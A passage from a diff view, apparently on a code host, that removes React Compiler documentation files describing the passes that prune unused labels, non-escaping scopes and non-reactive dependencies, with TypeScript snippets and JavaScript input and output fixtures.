The pass uses a two-phase approach with a single traversal:
**Phase 1: Collect reachable labels**
```typescript
if ((terminal.kind === 'break' || terminal.kind === 'continue') &&
terminal.targetKind === 'labeled') {
state.add(terminal.target); // Mark this label as reachable
}
```
**Phase 2: Transform terminals**
```typescript
const isReachableLabel = stmt.label !== null && state.has(stmt.label.id);
if (stmt.terminal.kind === 'label' && !isReachableLabel) {
// Flatten: extract block contents, removing trailing unlabeled break
const block = [...stmt.terminal.block];
const last = block.at(-1);
if (last?.kind === 'terminal' && last.terminal.kind === 'break' &&
last.terminal.target === null) {
block.pop(); // Remove trailing break
}
return {kind: 'replace-many', value: block};
} else {
if (!isReachableLabel && stmt.label != null) {
stmt.label.implicit = true; // Mark as implicit
}
return {kind: 'keep'};
}
```
## Edge Cases
### Trailing Break Removal
When flattening a labeled block, if the last statement is an unlabeled break (`target === null`), it is removed since it would just fall through anyway.
### Implicit vs Labeled Breaks
Only breaks with `targetKind === 'labeled'` count toward label reachability. Implicit breaks (fallthrough) and unlabeled breaks don't make a label "used".
### Continue Statements
Both `break` and `continue` with labeled targets mark the label as reachable.
### Non-Label Terminals with Labels
Other terminal types (like `if`, `while`, `for`) can also have labels. If unreachable, these labels are marked implicit but the terminal is not flattened.
## TODOs
None in the source file.
## Example
### Fixture: `unconditional-break-label.js`
**Input:**
```javascript
function foo(a) {
let x = 0;
bar: {
x = 1;
break bar;
}
return a + x;
}
```
**Output (after full compilation):**
```javascript
function foo(a) {
return a + 1;
}
```
The labeled block `bar: { ... }` is removed because after the pass runs, constant propagation and dead code elimination further simplify the code.
### Fixture: `conditional-break-labeled.js`
**Input:**
```javascript
function Component(props) {
const a = [];
a.push(props.a);
label: {
if (props.b) {
break label;
}
a.push(props.c);
}
a.push(props.d);
return a;
}
```
**Output:**
```javascript
function Component(props) {
const $ = _c(5);
let a;
if ($[0] !== props.a || $[1] !== props.b ||
$[2] !== props.c || $[3] !== props.d) {
a = [];
a.push(props.a);
bb0: {
if (props.b) {
break bb0;
}
a.push(props.c);
}
a.push(props.d);
// ... cache updates
} else {
a = $[4];
}
return a;
}
```
The labeled block `bb0: { ... }` is preserved because the `break bb0` inside the conditional targets this label.

View File

@@ -1,130 +0,0 @@
# pruneNonEscapingScopes
## File
`src/ReactiveScopes/PruneNonEscapingScopes.ts`
## Purpose
This pass prunes (removes) reactive scopes whose outputs do not "escape" the component and therefore do not need to be memoized. A value "escapes" in two ways:
1. **Returned from the function** - The value is directly returned or transitively aliased by a return value
2. **Passed to a hook** - Any value passed as an argument to a hook may be stored by React internally (e.g., the closure passed to `useEffect`)
The key insight is that values which never escape the component boundary can be safely recreated on each render without affecting the behavior of consumers.
## Input Invariants
- The input is a `ReactiveFunction` after scope blocks have been identified
- Reactive scopes have been assigned to instructions
- The pass runs after `BuildReactiveFunction` and `PruneUnusedLabels`, before `PruneNonReactiveDependencies`
## Output Guarantees
- **Scopes with non-escaping outputs are removed** - Their instructions are inlined back into the parent scope/function body
- **Scopes with escaping outputs are retained** - Values that escape via return or hook arguments remain memoized
- **Transitive dependencies of escaping scopes are preserved** - If an escaping scope depends on a non-escaping value, that value's scope is also retained to prevent unnecessary invalidation
- **`FinishMemoize` instructions are marked `pruned=true`** - When a scope is pruned, the associated memoization instructions are flagged
## Algorithm
### Phase 1: Build the Dependency Graph
Using `CollectDependenciesVisitor`, build:
- **Identifier nodes** - Each node tracks memoization level, dependencies, scopes, and whether ultimately memoized
- **Scope nodes** - Each scope tracks its dependencies
- **Escaping values** - Identifiers that escape via return or hook arguments
### Phase 2: Classify Memoization Levels
Each instruction value is classified:
- `Memoized`: Arrays, objects, function calls, `new` expressions - always potentially aliasing
- `Conditional`: Conditional/logical expressions, property loads - memoized only if dependencies are memoized
- `Unmemoized`: JSX elements (when `memoizeJsxElements` is false), DeclareLocal
- `Never`: Primitives, LoadGlobal, binary/unary expressions - can be cheaply compared
### Phase 3: Compute Memoized Identifiers
`computeMemoizedIdentifiers()` performs a graph traversal starting from escaping values:
- For each escaping value, recursively visit its dependencies
- Mark values and their scopes based on memoization level
- When marking a scope, force-memoize all its dependencies
### Phase 4: Prune Scopes
`PruneScopesTransform` visits each scope block:
- If any scope output is in the memoized set, keep the scope
- If no outputs are memoized, replace the scope block with its inlined instructions
## Edge Cases
### Interleaved Mutations
```javascript
const a = [props.a]; // independently memoizable, non-escaping
const b = [];
const c = {};
c.a = a; // c captures a, but c doesn't escape
b.push(props.b); // b escapes via return
return b;
```
Here `a` does not directly escape, but it is a dependency of the scope containing `b`. The algorithm correctly identifies that `a`'s scope must be preserved.
### Hook Arguments Escape
Values passed to hooks are treated as escaping because hooks may store references internally.
### JSX Special Handling
JSX elements are marked as `Unmemoized` by default because React.memo() can handle dynamic memoization.
### noAlias Functions
If a function signature indicates `noAlias === true`, its arguments are not treated as escaping.
### Reassignments
When a scope reassigns a variable, the scope is added as a dependency of that variable.
## TODOs
None explicitly in the source file.
## Example
### Fixture: `escape-analysis-non-escaping-interleaved-allocating-dependency.js`
**Input:**
```javascript
function Component(props) {
const a = [props.a];
const b = [];
const c = {};
c.a = a;
b.push(props.b);
return b;
}
```
**Output:**
```javascript
function Component(props) {
const $ = _c(5);
let t0;
if ($[0] !== props.a) {
t0 = [props.a];
$[0] = props.a;
$[1] = t0;
} else {
t0 = $[1];
}
const a = t0; // a is memoized even though it doesn't escape directly
let b;
if ($[2] !== a || $[3] !== props.b) {
b = [];
const c = {}; // c is NOT memoized - it doesn't escape
c.a = a;
b.push(props.b);
$[2] = a;
$[3] = props.b;
$[4] = b;
} else {
b = $[4];
}
return b;
}
```
Key observations:
- `a` is memoized because it's a dependency of the scope containing `b`
- `c` is not separately memoized because it doesn't escape
- `b` is memoized because it's returned

View File

@@ -1,138 +0,0 @@
# pruneNonReactiveDependencies
## File
`src/ReactiveScopes/PruneNonReactiveDependencies.ts`
## Purpose
This pass removes dependencies from reactive scopes that are guaranteed to be **non-reactive** (i.e., their values cannot change between renders). This optimization reduces unnecessary memoization invalidations by ensuring scopes only depend on values that can actually change.
The pass complements `PropagateScopeDependencies`, which infers dependencies without considering reactivity. This subsequent pruning step filters out dependencies that are semantically constant.
## Input Invariants
- The function has been converted to a ReactiveFunction structure
- `InferReactivePlaces` has annotated places with `{reactive: true}` where values can change
- Each `ReactiveScopeBlock` has a `scope.dependencies` set populated by `PropagateScopeDependenciesHIR`
- Type inference has run, so identifiers have type information for `isStableType` checks
## Output Guarantees
- **Non-reactive dependencies removed**: All dependencies in `scope.dependencies` are reactive after this pass
- **Scope outputs marked reactive if needed**: If a scope has any reactive dependencies remaining, all its outputs are marked reactive
- **Stable types remain non-reactive through property loads**: When loading properties from stable types (like `useReducer` dispatch functions), the result is not added to the reactive set
## Algorithm
### Phase 1: Collect Reactive Identifiers
The `collectReactiveIdentifiers` helper builds the initial set of reactive identifiers by:
1. Visiting all places in the ReactiveFunction
2. Adding any place marked `{reactive: true}` to the set
3. For pruned scopes, adding declarations that are not primitives and not stable ref types
### Phase 2: Propagate Reactivity and Prune Dependencies
The main `Visitor` class traverses the ReactiveFunction and:
1. **For Instructions** - Propagates reactivity through data flow:
- `LoadLocal`: If source is reactive, mark the lvalue as reactive
- `StoreLocal`: If source value is reactive, mark both the local variable and lvalue as reactive
- `Destructure`: If source is reactive, mark all pattern operands as reactive (except stable types)
- `PropertyLoad`: If object is reactive AND result is not a stable type, mark result as reactive
- `ComputedLoad`: If object OR property is reactive, mark result as reactive
2. **For Scopes** - Prunes non-reactive dependencies and propagates outputs:
- Delete each dependency from `scope.dependencies` if its identifier is not in the reactive set
- If any dependencies remain after pruning, mark all scope outputs as reactive
### Key Insight: Stable Types
The pass leverages `isStableType` to prevent reactivity from flowing through certain React-provided stable values:
```typescript
function isStableType(id: Identifier): boolean {
return (
isSetStateType(id) || // useState setter
isSetActionStateType(id) || // useActionState setter
isDispatcherType(id) || // useReducer dispatcher
isUseRefType(id) || // useRef result
isStartTransitionType(id) ||// useTransition startTransition
isSetOptimisticType(id) // useOptimistic setter
);
}
```
## Edge Cases
### Unmemoized Values Spanning Hook Calls
A value created before a hook call and mutated after cannot be memoized. However, if it's non-reactive, it still should not appear as a dependency of downstream scopes.
### Stable Types from Reactive Containers
When `useReducer` returns `[state, dispatch]`, `state` is reactive but `dispatch` is stable. The pass correctly handles this.
### Pruned Scopes with Reactive Content
The `CollectReactiveIdentifiers` pass also examines pruned scopes and adds their non-primitive, non-stable-ref declarations to the reactive set.
### Transitive Reactivity Through Scopes
When a scope retains at least one reactive dependency, ALL its outputs become reactive.
## TODOs
None in the source file.
## Example
### Fixture: `unmemoized-nonreactive-dependency-is-pruned-as-dependency.js`
**Input:**
```javascript
function Component(props) {
const x = [];
useNoAlias();
mutate(x);
return <div>{x}</div>;
}
```
**Before PruneNonReactiveDependencies:**
```
scope @2 dependencies=[x$15_@0:TObject<BuiltInArray>] declarations=[$23_@2]
```
**After PruneNonReactiveDependencies:**
```
scope @2 dependencies=[] declarations=[$23_@2]
```
The dependency on `x` is removed because `x` is created locally and therefore non-reactive.
### Fixture: `useReducer-returned-dispatcher-is-non-reactive.js`
**Input:**
```javascript
function f() {
const [state, dispatch] = useReducer();
const onClick = () => {
dispatch();
};
return <div onClick={onClick} />;
}
```
**Generated Code:**
```javascript
function f() {
const $ = _c(1);
const [, dispatch] = useReducer();
let t0;
if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
const onClick = () => {
dispatch();
};
t0 = <div onClick={onClick} />;
$[0] = t0;
} else {
t0 = $[0];
}
return t0;
}
```
The `onClick` function only captures `dispatch`, which is a stable type. Therefore, `onClick` is non-reactive, and the JSX element can be memoized with zero dependencies.

Some files were not shown because too many files have changed in this diff Show More